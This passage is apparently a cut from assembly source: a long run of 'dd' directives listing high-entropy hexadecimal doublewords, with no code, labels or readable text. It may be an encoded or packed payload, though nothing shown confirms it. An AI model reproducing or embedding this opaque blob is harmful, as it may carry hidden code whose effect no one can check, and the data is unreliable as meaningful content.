0A8B27140h, 16B43BAh, 0F1874791h, 0D231D6F7h, 80B9343h dd 92E78CE9h, 1B634850h, 71C82620h, 1CA71850h, 0B54D04ACh dd 0CB143BBBh, 34144AB2h, 0C2029B40h, 7CF472AFh, 17589762h dd 59F09CB2h, 9776089Dh, 0D5C46881h, 8B536CC6h, 26CA5551h dd 6039E208h, 66D8F927h, 1F74C668h, 0B33120BAh, 4B2E34BBh dd 79F3D724h, 0DF103D7Dh, 72236A93h, 0B55C0CA9h, 5A9CE958h dd 243CF233h, 0F96E0366h, 0A42A84EBh, 5A73D114h, 734F94Ch dd 606648B6h, 4088976Fh, 68E8A86Ah, 0CC2B5A32h, 15406F6h dd 1BB05708h, 68253EB6h, 4CDC77Ah, 9FA0876h, 0C53683FDh dd 0A586AEE0h, 0E9EB0105h, 0BA47E504h, 95E0E1F3h, 0C8D821E2h dd 1F28DE1Ah, 0A404F17Ch, 0CA0134E7h, 96C69C3h, 4EF380C3h dd 201D3D81h, 0DF2E12D9h, 1DA09994h, 6FC0C827h, 0AB132AC1h dd 0D9293E75h, 1FC5E90h, 2CB75366h, 982FFA88h, 0E200C027h dd 86F28003h, 0BF78CC68h, 58A1A266h, 18D93FCAh, 80063280h dd 0D330C1C2h, 0B8AE92Fh, 0E19E545Ch, 79233068h, 0BD4320F8h dd 0ED54DF11h, 5F4E243Ch, 25962D05h, 76A15EFEh, 0ACE90701h dd 8F4BB82Ch, 256D48BFh, 559CC632h, 817A95DDh, 235A7F2Fh dd 0C5680AFEh, 0A9A6723Dh, 1C328201h, 0CED0B96Bh, 0C7CB4A90h dd 5BCA26B4h, 58A7525Ch, 57191D06h, 0D21500A7h, 0BF430C40h dd 70BE142h, 3E077661h, 0CC2A03C0h, 0A03EC066h, 816BD019h dd 4B5BE61Dh, 0B80A676Eh, 0D5B381BFh, 0BEA6D15Ch, 2712F3B0h dd 6858B151h, 7A27E13h, 0C66106C2h, 0F32B87ADh, 436225FCh dd 0C804C309h, 2E60D7E2h, 2D6101h, 33E55AC0h, 0A45AC7E9h dd 0C94E7EE7h, 0A28B3F81h, 0B392E45Bh, 0E3C05517h, 77F3F004h dd 599EA382h, 242C896Ch, 5DC4B074h, 989716BDh, 0DDB6CE6Ah dd 4B939425h, 68CCD854h, 0CC392C2Dh, 1CAE26F6h, 0BA9209Eh dd 6D251DF8h, 5C816476h, 89BADFE3h, 0C205003Eh, 1D7C1F87h dd 0D8EA0128h, 7F5D0881h, 814C6F8Ah, 0EA9BF130h, 9D271C5Bh dd 9086F05Ah, 0AA743166h, 0C82EC31Fh, 8BBC035Dh, 6B022828h dd 0E91BB754h, 0F4617824h, 0A777040Ah, 0C2EF2978h, 49DE4003h dd 35D6EB87h, 6CB8AFC4h, 1E99247Fh, 0EB02C268h, 9D83F37Eh dd 0DF65A331h, 101329F9h, 8038E61Eh, 2049F868h, 28BD84E3h dd 9F7D4CE8h, 683A4266h, 5AAA53B4h, 2068FBDCh, 4D901635h dd 2075F24Bh, 0FE6F60EBh, 497BB666h, 0C1FFC125h, 15A5F8EEh dd 0E9537C60h, 0C9D28D2Dh, 7BE15A93h, 0A7600EA5h, 0D0D2BC1h dd 0D409D9E7h, 689D98E7h, 0F840F1E3h, 5003153Ah, 82C6AC18h dd 0C6AFD1F6h, 0B0E0E6C4h, 23E2007h, 391BB906h, 2446D85h dd 4D8D680Fh, 955893E9h, 3E1C118h, 3FDBCC7Eh, 892A8720h dd 54CCB5DCh, 0BE20B94Ah, 30579FEEh, 5A0C2198h, 2D4A9E26h dd 80110A5h, 0B3C96E9h, 7A95BF00h, 83B81BBAh, 7DDD8C1Fh dd 6E40D9D3h, 4A2F36BDh, 2492A03Ah, 5A0083A0h, 747A3765h dd 168CB850h, 166DC62Fh, 0B74C476Ah, 13B30A5Dh, 16A6ED5Bh dd 2BBDE85Ah, 1B67C8DEh, 0E5F5290Eh, 4388D945h, 1D330BC3h dd 5E0F6567h, 3C08A81Ch, 0CCCF31E9h, 54165084h, 0CEC85358h dd 0CB2D095Bh, 0DD85293Fh, 85E8FDD8h, 60E4E66Ch, 168516F1h dd 2DF3E820h, 0EF97C3CEh, 0B397D733h, 0E69ED0h, 72764A35h dd 8278ED2Dh, 0B1C7975h, 71EE3624h, 0AD81232Ch, 3AE8BA52h dd 71301EF1h, 3F0616B2h, 0AC201307h, 582DB0E9h, 20E00178h dd 3E334805h, 86B12B1Bh, 7BA60705h, 0C571FF03h, 0A24C473Fh dd 0EA5905FBh, 2A8260A5h, 3696D7C0h, 0C6D376DFh, 662DCB56h dd 6A30412Fh, 4C092522h, 69020739h, 65E96145h, 7FC555ACh dd 4097403Bh, 0CD280191h, 60F4D159h, 1A91956Ah, 58791C03h dd 0E60E0C5Ah, 0C80B0962h, 0C11F327Ah, 4E9805EEh, 0B886EB2Fh dd 29F55ED6h, 612B38FEh, 0D935C528h, 5D1241E2h, 0B9F951F1h dd 0DB2CC36Bh, 0F78100D4h, 4EFE1B9Fh, 241BF505h, 0E6258839h dd 423BDB58h, 0BB05FC1Fh, 0A2C80A45h, 597897E2h, 1E4F95F7h dd 47520914h, 874E28FAh, 90D76EE2h, 40A5E92Eh, 43E9FE82h dd 692646F7h, 0EA477290h, 904C2468h, 0D0F265E4h, 73F67806h dd 4CC87C12h, 69CFA459h, 25F2F393h, 0BA880099h, 7A944B42h dd 292A584Eh, 6F22EB80h, 0BF906404h, 755A0C05h, 0CEA20123h dd 0CC01F2Dh, 848EFC1h, 0AF894F40h, 0B03FB060h, 5F3EB8AFh dd 50288BEDh, 8BBC9422h, 0BFD76C72h, 0EA8F4A91h, 136FE757h dd 0AA191250h, 0B08BD812h, 683D4E5Fh, 0F069100Bh, 0E92D89C8h dd 90D0D5h, 0B05F03B8h, 795BD5Dh, 1CD0B0Bh, 0C5FCD6C5h dd 82AE89BBh, 4812C0A0h, 14DCA44h, 0A184E907h, 4271CE3Eh dd 90A24A06h, 0C00BC196h, 0E34B07B4h, 7E12DA69h, 6C81E2FFh dd 166B0D6h, 3FE9254Bh, 0CF219884h, 17335335h, 47A81B6Fh dd 2903FFCCh, 0D2AD6DFBh, 317532ADh, 0F7268FA6h, 9FC02BDAh dd 0ED3BEC8Ah, 1677C43Fh, 97A6B29Ah, 8FA21DACh, 6641A671h dd 867DA30Fh, 586B7132h, 2E20E3F8h, 665307F9h, 4A1F70BBh dd 1EB70CA8h, 6D3FCB0Ah, 19433036h, 2FE91279h, 0C35B20ADh dd 0F41855C9h, 0E2955BE9h, 97DB3494h, 225D61A9h, 90093EACh dd 81FCFh, 0CE813CCBh, 42C155BFh, 0C6D7E916h, 45F0C9F4h dd 433160E2h, 235FA7FEh, 6801DDA3h, 3730FB50h, 82A9555Ah dd 50B289Ah, 49044ACEh, 0B7843C92h, 0A55E40F8h, 104A3C1Bh dd 0CB58C9D8h, 0FB693104h, 7D8825Ch, 10D516C0h, 12754333h dd 93BA0003h, 13B396Eh, 0ED74E9F7h, 556037B6h, 9D153068h dd 0E329DC6Fh, 4FFFD3CCh, 78E3CC18h, 7C151E00h, 0EAE18CBAh dd 324BF83h, 0D43988D5h, 5A5B8CA8h, 3DECC6C0h, 2CC16E76h dd 0C602E7h, 79CA6BA4h, 0A912BB53h, 1FB08F15h, 94391DC8h dd 3F38020h, 4B6D6A62h, 0D802E912h, 0EDF1704Eh, 1F2FADA1h dd 2134C1B9h, 0B95A64CCh, 0D57E8F0Eh, 0C310856Eh, 1B6813D0h dd 62C79C03h, 0B5CCDC96h, 1D946813h, 0B8279BB3h, 0E595F878h dd 8926E56h, 0F142AB80h, 26B4C58Dh, 0E37CC9E6h, 91EB308h dd 9422D987h, 0E1D408CCh, 0BEA574B5h, 0CA240CADh, 0CB68F85Dh dd 2B20164h, 75A0B7E9h, 73D409AAh, 8A061447h, 0C75F5344h dd 6D356BF5h, 2489966Ch, 0D49611A9h, 0F26813C2h, 674C5F63h dd 72CECAACh, 3D1A6682h, 0B95104C8h, 0C3E55887h, 4CCBE8Ah dd 0F9C359B5h, 0C1F70089h, 0F58105E5h, 92288F64h, 70BDF6Fh dd 0D02EA25Bh, 8C15019h, 9BECBF5Dh, 26447AFBh, 7A1CDE9h dd 47D18747h, 0B6D5DACh, 3C79DF0Bh, 0C0D0C985h, 1856F1EDh dd 0C80234Ch, 0B83917E2h dd 346F2DE9h, 0F6146CFAh, 0FAC3EC6h, 45555EF2h, 0A0C1A0BDh dd 8505FD9Ch, 0AE388492h, 71E9EE68h, 0AAADDD4Ch, 52F250Bh dd 0EF51C4F6h, 2973EA40h, 8A2BB857h, 0EB204091h, 378D8823h dd 0F781EE96h, 49F90F83h, 1D6E47F1h, 8CB64D0Bh, 0D3140Ah dd 277541CBh, 0DB48F764h, 517C04B0h, 3BC022BEh, 0EF96DC37h dd 12C0C42Fh, 0E80616B8h, 9968B0BBh, 0FA98955Ah, 0DE32020Fh dd 81CB593Ah, 4B0A12B2h, 0FDF45A80h, 0B1E9CF33h, 1A57CD4Bh dd 0E6ECA6E5h, 83CE96BEh, 0E43EDDEAh, 7F818250h, 29CEBA4Fh dd 7A5A6809h, 0B9654D1h, 0C3BBD64Fh, 32E0714h, 2531EB91h dd 0F41C5C32h, 8A44399Dh, 7FA051E9h, 1C6602B8h, 0C3313CB1h dd 0D2F52C4h, 0C7A1F93Dh, 0BD61F2DFh, 0E06E2776h, 81679854h dd 382600F2h, 0D1214BB3h, 9A4949E9h, 5B5416C4h, 0E909462Ah dd 9C5D283Ah, 2D68B7B3h, 0D413109Dh, 0C98131B2h, 9C7F459Bh dd 33A8BB56h, 51292C2h, 50FB3BF7h, 0E90C0823h, 0B1263FBDh dd 7CF52A77h, 1FB203E9h, 207AEA80h, 943C4C06h, 2BE99328h dd 0FC684A4Fh, 40E772A7h, 86B088FEh, 28ACB112h, 66B04DB8h dd 0B5015150h, 0E6F58038h, 0E32F44E9h, 0F1AC5C1Ch, 917AC2D0h dd 81237B04h, 0B902C6D9h, 43EE39Fh, 4F1D091h, 0D1DA5F54h dd 4F0BA25Ah, 642F7C2h, 71064E5Eh, 58167D5Fh, 90E7941h dd 0F7297850h, 1708CA08h, 0C7C3F05Eh, 891C9405h, 0BBA5A51h dd 32E83717h, 0EE5A81D6h, 575A9BD2h, 6812AC14h, 31600E78h dd 488A16EBh, 0A9045921h, 8065D102h, 0B867ABA7h, 0CFE54095h dd 557E2527h, 8424A371h, 9C32A402h, 0C69F604Dh, 26E82546h dd 0ED0C845Ch, 0DD080606h, 0F45AC21Eh, 0A7E27821h, 0BE013854h dd 354A7A07h, 225127Fh, 1F155778h, 0F691CE41h, 0AA708AE4h dd 0C69530FDh, 8D7FFC07h, 0E9124E62h, 9D60D8F4h, 572006E4h dd 428599D2h, 0B7598A6Ch, 21AC6805h, 0FE0258Dh, 4ECB1355h dd 8571B25Dh, 0CEAC1177h, 0E334F7h, 2C3942D8h, 83EA58C1h dd 283BC213h, 3BE51B0h, 0F52804CBh, 13630013h, 5A76E756h dd 0A58F479Dh, 486FDDD1h, 87126DEh, 0FE259882h, 59F1475Ah dd 239E9264h, 620C54E9h, 176BB926h, 3B933FB1h, 275E464Fh dd 32B334F6h, 0FA1779BEh, 7CED0B68h, 64605D09h, 1F306C67h dd 3AAE0C78h, 0E99B16E1h, 0EC0FE54Dh, 0DB257F4Eh, 975C5C54h dd 2F3D08D8h, 0EC925E1Dh, 0E91A3C5h, 82EA6866h, 0D92C73F2h dd 91278817h, 8481B28h, 2EED050Ah, 0F2C03505h, 97C0759Ah dd 8831909h, 0ABE509CAh, 0E95F8707h, 29092B44h, 0DC251554h dd 6CCC5A1Ah, 50F1F72Eh, 0DDB0DE44h, 39C24D88h, 0E8C15D7Ah dd 8035B703h, 0F88930C7h, 0E63A605Bh, 0AA425081h, 2DE57CE0h dd 599758CEh, 0A88BE9C0h, 0E69BBC58h, 0B2525A16h, 7D7AF701h dd 0AC302E90h, 2DC2063Bh, 7703E972h, 0BCCD5C5Eh, 0A4A943F0h dd 82050BC5h, 0BCD68C21h, 5C0CF320h, 58772A60h, 684602AAh dd 2218E973h, 2CF996D7h, 6B42E2E5h, 6A27B300h, 99FC43D2h dd 77FC9541h, 1D5CC13Ch, 876C3E25h, 7510587Ah, 0ABE94270h dd 0F693C0BBh, 2F863A85h, 3B65E09Dh, 141130Fh, 83D10F3h dd 0F9B5C54Ch, 5EF38466h, 30248CBAh, 0E15AF02Fh, 1465D23Dh dd 0E4A73328h, 80EAA053h, 28BBF707h, 0E8335BFDh, 0DB3E859h dd 0C0C30BFEh, 0AB7E05EBh, 0F3DDFA1Fh, 0F2E25A93h, 0CCF2B7C4h dd 0C14E3034h, 9D48B8F2h, 212D1C60h, 6E50534Ch, 1017BC90h dd 0D5086AE4h, 61B30131h, 0CCACE380h, 0DAE074C3h, 0C2025B79h dd 90E9504Ch, 121798Ch, 280377D8h, 0FB893B01h, 0B0F0A06h dd 701C720Fh, 0B1803D8Bh, 614884BEh, 2840355Fh, 5AA43833h dd 0BE6EE46h, 23A5072Bh, 3907FE7Ch, 0B2DAEA1Eh, 0C3685580h dd 5C8A6692h, 595CF75Dh, 992CAC09h, 3309B47Eh, 0AD5CD107h dd 75C230A0h, 2D0531DFh, 70677D84h, 0E909B2E3h, 0D074AD96h dd 0A1B8F88h, 42D640B8h, 0EF648BA5h, 75B4D34Bh, 8187407Eh dd 138CE74Ch, 0F9083D06h, 97581DC0h, 4CAA5E62h, 40605EDh dd 747E05B8h, 0A1D6EA26h, 0A8095293h, 36FD59D0h, 4A201668h dd 0F5097B9h, 3CDA0F18h, 0DDAAD118h, 0F4388B3Dh, 1EFC5C64h dd 50EA950h, 8BD139Ah, 60A4F345h, 0E6D6021Ch, 11197E41h dd 7FFED7C7h, 6E1CD03h, 74BB30E7h, 53753D6Ah, 59630B02h dd 41D9311Ah, 0E805F36Bh, 26A04F9Dh, 5419406Dh, 0AD685E12h dd 41A67EEh, 1FCBAF30h, 0B1D607Dh, 0D830E4B3h, 0AB935B5Fh dd 0F271F4Eh, 0A12D084h, 0CA4A1068h, 92A7B448h, 2517220h dd 0E11FF781h, 82D7DF72h, 0B81B2Eh, 68D3E680h, 47476D33h dd 89832F7Dh, 7D7859EAh, 397FBFAh, 0BAA5B536h, 0B8FBD0C6h dd 39F10BF1h, 0D4500D3Ah, 7D01DB58h, 25C60403h, 0E901EF83h dd 863047DFh, 0E4F6249Dh, 0B4F117A0h, 2509C3CEh, 8B089E3Ah dd 0A8745E26h, 0CFE91874h, 5EF79346h, 3ABD7CF4h, 0A0EC793Ah dd 53F07CFh, 0A54B5EAEh, 0DE85B0EBh, 0C5F3102h, 5DC761E9h dd 2CE76166h, 324C7AE2h, 6B8C0204h, 0DD2963D7h, 0BBF2EA8h dd 3144B2Ch, 0BB4C455Ah, 0AA6324C3h, 0B5A7C91h, 57B21084h dd 8BC12561h, 59CE21h, 967F74DEh, 4AF9FC15h, 0D7B1A9DBh dd 0F9123DF6h, 9B62055Fh, 2F58E3EFh, 59EE8B72h, 5C318CCFh dd 0CE955BBCh, 4E574883h, 62CEBC2Eh, 9457C8B6h, 26818BDh dd 0CB39E91Ch, 19EF9DC0h, 9030971Eh, 0F5FC002Ah, 0FA31758Bh dd 1A5AB0E9h, 86030D1h, 5E75590Ch, 0DEC9C84Fh, 30CED93Bh dd 5880A9D2h, 0C4AFB952h, 0F6D694CCh, 18582556h, 4796801h dd 0E90FAE1Dh, 0AD05E1DBh, 0F1F16C1Ah, 92B2510Ah, 0A0248EB4h dd 0A9195DF5h, 0B4E807A7h, 6880E644h, 0F3395ACBh, 5B59175Ch dd 2868F060h, 7A11AA34h, 50F0252Fh, 562543CDh, 6304C957h dd 0F509520Ah, 25AD5616h, 54727DFEh, 0B70F8426h, 83EC2C8h dd 0AB8C1AF9h, 4A26BD84h, 0B072AC49h, 2F44FA05h, 40583FCDh dd 16DD0782h, 0FECED216h, 0FC5C4478h, 956F9502h, 10D33012h dd 1C9F5C5Ch, 36836709h, 25F85A8Ah, 0DEE911D3h, 0E2E9C14Bh dd 54892B95h, 9F15293h, 2B841EFEh, 74D2F448h, 2ED73901h dd 4EAC142h, 13E2E570h, 1DCC250Ch, 92E4247Ch, 9D2D0853h dd 382F003Fh, 7C2D5627h, 0DD7329Fh, 5507E71Eh, 661B0767h dd 54523DBDh, 68D212A7h, 756CF10Ah, 0C903A9E0h, 0F8E6719Ah dd 0C58EF8E9h, 0E2216644h, 179720A0h, 85EE850Fh, 0B4CEB8A6h dd 680A3CE9h, 6BEE7AF4h, 71529CF6h, 0FE296515h, 37E91A30h dd 91A5A817h, 1C7F8283h, 0A8584A6Ah, 35E9A192h, 0A5543FA7h dd 909BD2DAh, 0B263D019h, 26FB4010h, 1E00E7FDh, 81613259h dd 71E60BCBh, 34080275h, 3CDD09B2h, 0D95EBB55h, 8D6AF42Dh dd 8DF706A3h, 91D65765h, 0B69B08C8h, 427127FBh, 52FF29E5h dd 1F60FB89h, 95738068h, 26BCC4D9h, 4E7B310Bh, 81702D9Bh dd 9EFBA4Ah, 0E9F91C0Eh, 0DA16962Ah, 849BE25Ch, 0D8D0C488h dd 0BD51CA87h, 4526A48Ch, 0D27E9C41h, 0B8FECDFFh, 4C2702A4h dd 77AD80A8h, 4BFC82A1h, 20BC9508h, 1514AFCh, 0B7535A63h dd 41556825h, 0CA5C8807h, 0F25D28ECh, 0A9062C78h, 9188B565h dd 0C4280477h, 70E92CF8h, 0CE6013B2h, 0E5DAEE35h, 0AC2D5DAEh dd 0D5B22934h, 0DF310940h, 0D35C2FC0h, 0FDB1E04Eh, 0E8AECBB5h dd 234F15C3h, 0B6017FF7h, 0FBB55184h, 0DDC9D5F6h, 0E98B1485h dd 7B3973Bh, 0D7A72CBh dd 0DA99C4DEh, 5F00F5C6h, 6096855h, 82636C67h, 552F90ABh dd 7094801Ch, 0DD50E9E2h, 99B559A0h, 5907EF88h, 525AF780h dd 0DEF6FE71h, 31105EEFh, 2040B29Fh, 0EBDD34A6h, 4647A997h dd 32B4F66h, 0BC5ED3AAh, 0C0791EFAh, 0E97C022Dh, 35C532A3h dd 38BF3C89h, 25C9D0D8h, 7C9CE4BFh, 97C92EDFh, 0CD4402Dh dd 17657A0h, 884FAF1h, 6C61BE58h, 407B12C8h, 52AFF5EBh dd 892FF387h, 9738ECEEh, 8F220DE8h, 74013E13h, 0CD0CCA8h dd 0E919284Bh, 6BB76878h, 0BDF3ED00h, 488C45Fh, 9874E2CFh dd 6E025495h, 0F2E943C7h, 0BA07F44h, 25374D1Dh, 2920CC0h dd 25E93F3Ah, 9E52A885h, 2090D1E4h, 1FE5DF4Ah, 0B8E0AF31h dd 0A89791EAh, 0F8E52664h, 170CCA1Dh, 51B8416Eh, 0CADE8956h dd 0A61D6043h, 501F53CFh, 543C6840h, 12590F20h, 105E9C1h dd 4F198A93h, 4AC26F3Ah, 5897A431h, 2BF3AE80h, 1E36661Bh dd 99A083D8h, 5280A3F6h, 16DC0968h, 0C45403D6h, 0E9D131C0h dd 69354D48h, 15165B2Fh, 0FB87DF12h, 0E9D902FFh, 0D674ECDCh dd 62E0AD53h, 6F11A80h, 50FEA628h, 77042C16h, 71839DB3h dd 3EE88330h, 0BFF7D81Ch, 6E907142h, 0E15B7EE9h, 0B79AD4D6h dd 0DC4B5E8Ch, 5D2C5A03h, 0C007B252h, 4D3CE98Eh, 0AD5168B5h dd 11863E4h, 76C6813Dh, 6FC2E79Ch, 2082EA84h, 93AD105h dd 5951C330h, 80133CA4h, 7C6481A2h, 0BCA912A9h, 60DF6110h dd 0DE3C0E68h, 4E3EF63Dh, 10AFD336h, 6B1F18D1h, 0C787A04h dd 0B03F3CA3h, 5BDAFC41h, 14D02125h, 0B168160Dh, 0C2DBE97Bh dd 55150CE9h, 6A77E721h, 7D29E1F0h, 0C12F74ABh, 95F41C3Ch dd 0C8082225h, 7F49D100h, 4C5F8F4Ch, 31876143h, 377250F9h dd 5B402DD1h, 2D621CA0h, 84E37A07h, 224333A8h, 0E377C89Fh dd 31E6307Dh, 0A02DB0Ch, 2F284C60h, 0B2D5D7AFh, 209998E4h dd 872D8D5Fh, 70CB93EFh, 8371C62h, 454C5629h, 0F882A2B5h dd 0F7F39284h, 2F6C3186h, 0CF29475Bh, 2DC0ED28h, 3B496F70h dd 57D02900h, 0D97FF9BFh, 974F4C1Fh, 5D09BC1Dh, 147D707h dd 4D06D4F0h, 42A031DDh, 2D0AC24Ch, 48418003h, 1298D91Ah dd 3132FF49h, 0AA164E3Eh, 302FB4FCh, 7F4B17F0h, 0C201B420h dd 3BFCB050h, 58806E2Fh, 4A2A7125h, 0D03FF760h, 0BAE72E53h dd 0B712ADA6h, 4FDFD793h, 14AFE469h, 9097AB48h, 7EE312EEh dd 0CCF27ED7h, 1A4677F8h, 2A91C055h, 0C7949E97h, 0D14BA2A8h dd 7A8516C0h, 0E5819431h, 0F263C504h, 0A4A337h, 21DB87Fh dd 3E0525F4h, 23523002h, 0C858C729h, 0EB64704Bh, 0D1EE117Ah dd 0EDB81B93h, 0EFACEBF8h, 0A7280F3Dh, 960FE2EAh, 28575F6Fh dd 9584EFD0h, 81261F64h, 0A5BCBCA2h, 3F31F3E1h, 0A3DC5DA7h dd 163F8B71h, 73B8439h, 0D94F68B2h, 4DDD01Ah, 69C5883Bh dd 0B1871A80h, 4AE9274Fh, 3AF5D809h, 342D4988h, 0EA024C2Dh dd 5CF12AD9h, 0A9425362h, 16850809h, 8777EF83h, 9BCBFB3h dd 25E0C317h, 0E76B340Fh, 57BA79A0h, 732F625Eh, 0DCEC56h dd 5DB023CAh, 4B7CC1BEh, 0D629EA12h, 31A253B8h, 445E9762h dd 27212116h, 976876E9h, 0AE3BB412h, 7D317E22h, 1A43B0CAh dd 9D02B5F3h, 0AA2510C2h, 0E0B68F78h, 31B80328h, 0FB4390EAh dd 8CC78000h, 0AE89ADBCh, 3D7FDB10h, 0F4088316h, 0B34EC518h dd 69C4CBB8h, 0D09AEF06h, 92BB64Bh, 54199568h, 0F5C6E90Fh dd 720BA894h, 0BDDB73F0h, 35303596h, 0D833AC1Ch, 49ABE90Dh dd 2084C39Bh, 0D5F6077Dh, 9D4770F5h, 0E125DC88h, 3E27DA84h dd 0ECF2C804h, 19960510h, 0C54AF329h, 937BF05h, 27CF0B3h dd 5D89BD16h, 89D74017h, 2DC780Ah, 0B86BB53h, 5A5C39E8h dd 94C3F301h, 52E8713h, 0BED23E38h, 6AF8F132h, 0A88B7F23h dd 31298A02h, 0E9C55C04h, 0AE8853BAh, 71EF7400h, 4EC1558Ah dd 6F13C0E8h, 264FF07Dh, 1AD069B5h, 0E9230B21h, 0F45639FFh dd 0BA520281h, 3E211551h, 24945A45h, 608944ABh, 58949033h dd 1BBADDF6h, 5E284B3Bh, 4DE90098h, 0DC41BC58h, 216F046Bh dd 0CBB1D8ACh, 2566594Eh, 69729712h, 66072B27h, 458043Dh dd 0FF290523h, 53C3440Eh, 90BBFAC8h, 0DEE85836h, 876D979Fh dd 27DA6B5Ah, 27149420h, 2B7C51B4h, 74B75304h, 0FE337380h dd 0BEF650CFh, 5D235417h, 1F18B553h, 5982ADC9h, 0E0AD3965h dd 8960D018h, 923E8F81h, 14D75D4Ah, 66F8C27Dh, 6DC08240h dd 0BF189EC1h, 724B07Dh, 46F03E78h, 1D96ED00h, 0CD014D9Dh dd 68081CD0h, 5902141Ch, 448D18E9h, 7C2A09ECh, 5E801EE6h dd 35EEBC2Eh, 35F6F395h, 0B10C0391h, 0F7C9C77Fh, 0D42130DEh dd 764BAF91h, 128052E8h, 748612C2h, 5B724260h, 9775CA19h dd 2C23BCE8h, 0D0EA5025h, 64575DA8h, 2834179Eh, 1F85602h dd 12613C4Fh, 932F1668h, 0F990EF99h, 0B5B8505Fh, 26682BC2h dd 65847E7Ah, 0EA540902h, 0E96132FCh, 0F124EBDAh, 5A5A70F1h dd 0E7D0B0CFh, 0FA4BB27Fh, 8BE38E85h, 0EAE16073h, 594165C5h dd 6EAC114h, 5931EAAh, 0D144019Ch, 0A6AD02E9h, 0F1790149h dd 8C3C1F3Eh, 0AD0A7AEDh, 0FB20339Ch, 3E65B30Bh, 19BE8023h dd 0EC70736Bh, 2FC116E1h, 6F8E82Eh, 66377C78h, 7157040Ch dd 804119CAh, 0C1854F4h, 41F4B05Bh, 0BF3285EBh, 0ACA9D568h dd 92C79557h, 1332A85Ch, 98EC2D97h, 365FC6A8h, 0CA16C8F3h dd 3063EDA8h, 43B5E403h, 10025F23h, 0BC6393A7h, 7FF2587Dh dd 92AAE05Dh, 6047B63Ch, 75AC3D22h, 2F9A50C8h, 29083859h dd 3A7F72D9h, 0C4BFC20Eh, 0E5883923h, 42DBEE26h, 675F9330h dd 120026FCh, 0C4E5EC15h, 0CCFB3D74h, 9B4018F8h, 8369B55Ah dd 0C70B3BD4h, 5620EABBh, 7AA209ADh, 0B735E4E8h, 0B517CE9Fh dd 0EC5FCD9Ah, 8F5F5F53h, 72914A45h, 9D7AA8B0h, 0C3842FBDh dd 8788CBBBh, 604669B9h, 0CB07F49Ch, 8277C52Fh, 43567E8Ah dd 0D1EE1278h, 0D7BB0E27h, 2E5AF059h, 0B2E8A7F1h, 0E4E6713h dd 322D4771h, 84807E9h, 5D49FD68h, 0E651A12h, 0D6885585h dd 3F170DECh, 53CC8B75h, 0A26FD8B8h, 12080D73h, 0DA621C79h dd 0F1EB25E9h, 8D72F082h, 9C94EBF6h, 5170669h, 9DB10973h dd 0F002CA28h, 0A7DCD030h, 40B7E989h, 2262DF9h, 891FC90Ch dd 737E5830h, 7C497A8Bh, 0D1D264F9h, 70C885F6h, 7969061Ah dd 0C2F67E10h, 0BD00AB3Fh, 0E2784490h, 143CF881h, 0B069940Eh dd 27610A07h, 6BF5C13Fh, 9D077166h, 354BEF18h, 20B67897h dd 5D609662h, 2158C440h, 4D10F87Bh, 0BB938C11h, 0B8023175h dd 0A06A2648h, 0BB0FCBADh, 0B6AAEA6Eh, 4051652h, 0FE08208Eh dd 6313E813h, 7D5C2782h, 4D7CA4E3h, 2706805Dh, 6289D621h dd 0E9305A54h, 2985A8AFh, 5ECAB8C8h, 2771F623h, 5FB4093h dd 0B5B1207h, 31DF2C3Ah, 4E8FC331h, 0F107785Ah, 0D162D8E7h dd 0B3F7D80Ch, 0C301C212h, 0E02F86A1h, 6D0105CAh, 0E90A8A0Bh dd 4E02162Dh, 8FB65A41h, 0C9204793h, 0D59362BBh, 819A119Eh dd 8185E92Dh, 0B4FE351Fh, 781AF02Bh, 3E403DD5h, 0D7CD69C6h dd 0DD49C0AFh, 0BE87990h, 4C9F8FF0h, 34681223h, 6960BB26h dd 60A7E953h, 70DD4DEBh, 1FEA6369h, 6C36241Eh, 943AAF87h dd 0A64DE963h, 1A681328h, 54553141h, 26487659h, 0E9418C01h dd 0C0040F4Fh, 0EF134C0Ah, 9F0114Ah, 0E908A0C3h, 56899D71h dd 638844D3h, 41DE20CCh, 75316077h, 543F0404h, 0F82C501h dd 505C0B02h, 0BCCCF025h dd 0E486CF0Dh, 0B98A6193h, 4305BF01h, 1657D6C1h, 41681870h dd 0E16F3D69h, 70F58080h, 59EB2440h, 79A73957h, 0D71EBA0h dd 0D89D1E78h, 0D1D9060h, 2A3328CBh, 41E9E112h, 44BD5508h dd 5E21B017h, 0D88C9297h, 77CB24EBh, 0EBBC2F9h, 0D6EBC854h dd 0E9C087DAh, 0B98A1CB1h, 1381907h, 8B6C12Bh, 0ACCCFD78h dd 895239CAh, 29D04BF2h, 9DD560DDh, 525E02F1h, 0D983619h dd 479F721Fh, 0D67A8955h, 49BE1E5Fh, 68097FD2h, 35794450h dd 30600291h, 27EF67B9h, 13F32924h, 0C6950820h, 2708B17Ch dd 0A9256664h, 0E02554C5h, 72CC6855h, 0FBE57FC5h, 51581147h dd 771F5FA3h, 0C083AA1Eh, 94F0682Fh, 0CDFE4395h, 0ED80C590h dd 0EF086003h, 0AFE7C059h, 51D1609Eh, 0A1FE24B1h, 0DEC6D2B1h dd 393289C4h, 2F9F3475h, 0F1BAF4CCh, 4103E8D8h, 0F0E970C0h dd 0E2410408h, 0FB845394h, 71C8C59h, 1383FA04h, 953846Dh dd 0D078E661h, 8E0C005h, 0E682D0F6h, 48A05702h, 0B781B252h dd 0D1E98216h, 7490A49h, 36B28B51h, 95B1D0BAh, 0DE2DF398h dd 25E61402h, 66890AE9h, 0A282203Bh, 0BE99FD80h, 212BBA81h dd 0FDDB76h, 4EA86866h, 0A101AC31h, 0AB32F887h, 0A1721703h dd 4E1473Ah, 0F75B85A7h, 0E08556D9h, 2E686FE0h, 0C48C5F6Bh dd 3B24FC09h, 0F7A01252h, 645F3CF7h, 8C12B09Eh, 0C992A4Bh dd 2831F281h, 35E95E78h, 91FFCAA7h, 29833088h, 3C7D301h dd 5B010F70h, 0E9C39D61h, 0CD817549h, 56320DEBh, 7F2EBC07h dd 0CEC008A2h, 0A5B45BDEh, 4B421E92h, 8520EB80h, 13C21FE1h dd 0E17C0B16h, 68565C60h, 8B7D13F4h, 0CE130A09h, 2A1A248Eh dd 187097F8h, 0D2133D2Dh, 7D064384h, 0E67BB827h, 0DC6E97F8h dd 9E9542B2h, 0B799DA6h, 52187D49h, 4B7A8D2Dh, 0D7053604h dd 83EE287Eh, 0C1A1CCB1h, 4F5B2635h, 6CA710Eh, 9FA5AF3h dd 186681Fh, 2066DCD4h, 0CAE92F20h, 40D707E2h, 0A491AC03h dd 0D0FC64B2h, 0BE5F8477h, 36C11ED4h, 0E052D5E9h, 0BFD6953h dd 0B41BEAC4h, 0CF398B42h, 0FF4FCC9Bh, 2598B8B7h, 54E2E9F7h dd 32B3315Fh, 0A543E392h, 25344108h, 0C09F6158h, 821AB46Ch dd 